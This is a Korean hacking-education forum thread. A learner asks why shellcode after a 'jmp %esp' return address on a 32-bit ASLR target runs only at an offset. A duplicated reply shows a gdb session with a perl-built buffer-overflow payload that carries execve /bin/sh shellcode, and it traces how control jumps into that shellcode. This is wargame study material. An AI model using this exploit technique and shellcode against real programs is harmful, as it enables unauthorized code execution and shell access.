시스템 해킹

 1574, 1/79 회원가입  로그인  
   lMaxl04
   http://1111
   ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=2006 [복사]


32비트 환경입니다.

기본적으로 스택의 구조가
buf
sfp
ret
으로 구성되어있고

프로그램은
leave
ret
으로 종료되는 경우

여기서 ret을 jmp %esp의 주소로 사용하였습니다.

이론적으로 leave에서 mov %esp %ebp, pop %ebp
ret에서 pop %eip, jmp %eip
가 되며,

변조된 스택의 ret 주소가 jmp %esp를 실행하기 때문에
ret + 4의 코드를 바로 실행할 것으로 예상하였는데
실제로는 ret + 20 바이트 가량 뒤에 위치해야만 실행이 되고 있습니다.

혹시 추측되는 사유가 있을까요?

  Hit : 844     Date : 2022/06/29 06:05



    
cd80 이해하신대로 실행되는게 맞습니다
아래는 예시입니다
(gdb) b *main+63
Breakpoint 1 at 0x80491f5
(gdb) r $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
Starting program: /home/cd80/tmp/test $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

Breakpoint 1, 0x080491f5 in main ()
(gdb) si
0x0804a008 in ?? ()
(gdb) x/i $pc
=> 0x804a008: jmp *%esp
(gdb) i reg esp
esp 0xffffd3f0 0xffffd3f0
(gdb) si
0xffffd3f0 in ?? ()
(gdb) x/i $pc
=> 0xffffd3f0: push $0xb
(gdb)

실수를 의심해봐야 할 것 같은데
x/i [jmp esp주소] 했을 때 정확히 jmp *%esp 만 나오는지를 먼저 체크해보셔야 하구요
쉘코드의 시작부에는 잘 도달하지만 중간에 메모리를 망가뜨려 제대로 작동이 되지 않는건지도 확인해보셔야 합니다
2022/06/30  
lMaxl04 질문에 대한 설명이 부족하진 않았나 걱정했는데 잘 이해해주셔서 감사합니다. 하나씩 다시 확인해보고싶은데... 아직 리모트 환경에서 주소와 값 확인하는 방법을 잘 몰라 조금 더 고민해봐야겠습니다 ㅠㅠ 2022/06/30  
somass 이해하신대로 실행되는게 맞습니다
아래는 예시입니다
(gdb) b *main+63
Breakpoint 1 at 0x80491f5
(gdb) r $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
Starting program: /home/cd80/tmp/test $(perl -e 'print "A"x36, "\x08\xa0\x04\x08", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

Breakpoint 1, 0x080491f5 in main ()
(gdb) si
0x0804a008 in ?? ()
(gdb) x/i $pc
=> 0x804a008: jmp *%esp
(gdb) i reg esp
esp 0xffffd3f0 0xffffd3f0
(gdb) si
0xffffd3f0 in ?? ()
(gdb) x/i $pc
=> 0xffffd3f0: push $0xb
(gdb)

실수를 의심해봐야 할 것 같은데
x/i [jmp esp주소] 했을 때 정확히 jmp *%esp 만 나오는지를 먼저 체크해보셔야 하구요
쉘코드의 시작부에는 잘 도달하지만 중간에 메모리를 망가뜨려 제대로 작동이 되지 않는건지도 확인해보셔야 합니다
2022/09/16  
1574   pwnable.kr echo1 질문2 (스포 주의)[2]     turttle2s
10/05 838
1573   LOB GATE문제 풀면서 궁금한점[3]     hackxx123
08/24 639
1572   libc관련 - 2[5]     lMaxl04
08/24 626
  ASLR이 걸려있을때 ret에 ROP으로 jmp %esp을 사용한 경우.[3]     lMaxl04
06/29 843
1570   리모트 환경에서의 스택 주소 확인 방법이 궁금합니다.[2]     lMaxl04
06/16 705
1569   해킹 프리서버 없어졌나요?[1]     terfkim
04/15 1395
1568   스택에 데이터 넣을 때 SIGSEGV[4]     turttle2s
02/04 1198
1567   pwnable.kr echo1 질문[2]     turttle2s
06/17 1472
1566   ROP strcpy 관련 질문입니다.[3]     heeyoung0511
06/16 1360
1565   Level2 -> Level3 에서 vi와 /usr/bin/Editor의 차이[2]     hyemin1826
07/18 1582
1564   Trainer3 ftz.hackerschool.org 호스트 접속 불가[1]     hyemin1826
07/18 2903
1563   dll인젝션 실험중 질문 드립니다.[1]     kkk477
05/31 1629
1562   패킷 복호화를 마스터 하려면 어떤 과정이 있어야하나요?     sa0814
04/01 1494
1561   사기[2]     jas08
03/31 1796
1560   시스템 콜이 가능한 메모리 영역과 불가능한 메모리 영역이 존재하나요?     ocal
03/30 1543
1559   pwntools 사용시와 기본 socket 모듈 이용시 차이?[4]     ocal
01/09 1987
1558   lob level19(nightmare) 관련질문[1]     dnjsdnwja
12/18 1559
1557   ftz level2 질문있습니다[1]     kihyun1998
12/13 1636
1556   ftz level2번 푸는데요 권한이...     kihyun1998
12/06 1515
1555   시스템해킹할때 [3]     thsrhkdwns
12/05 1989
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com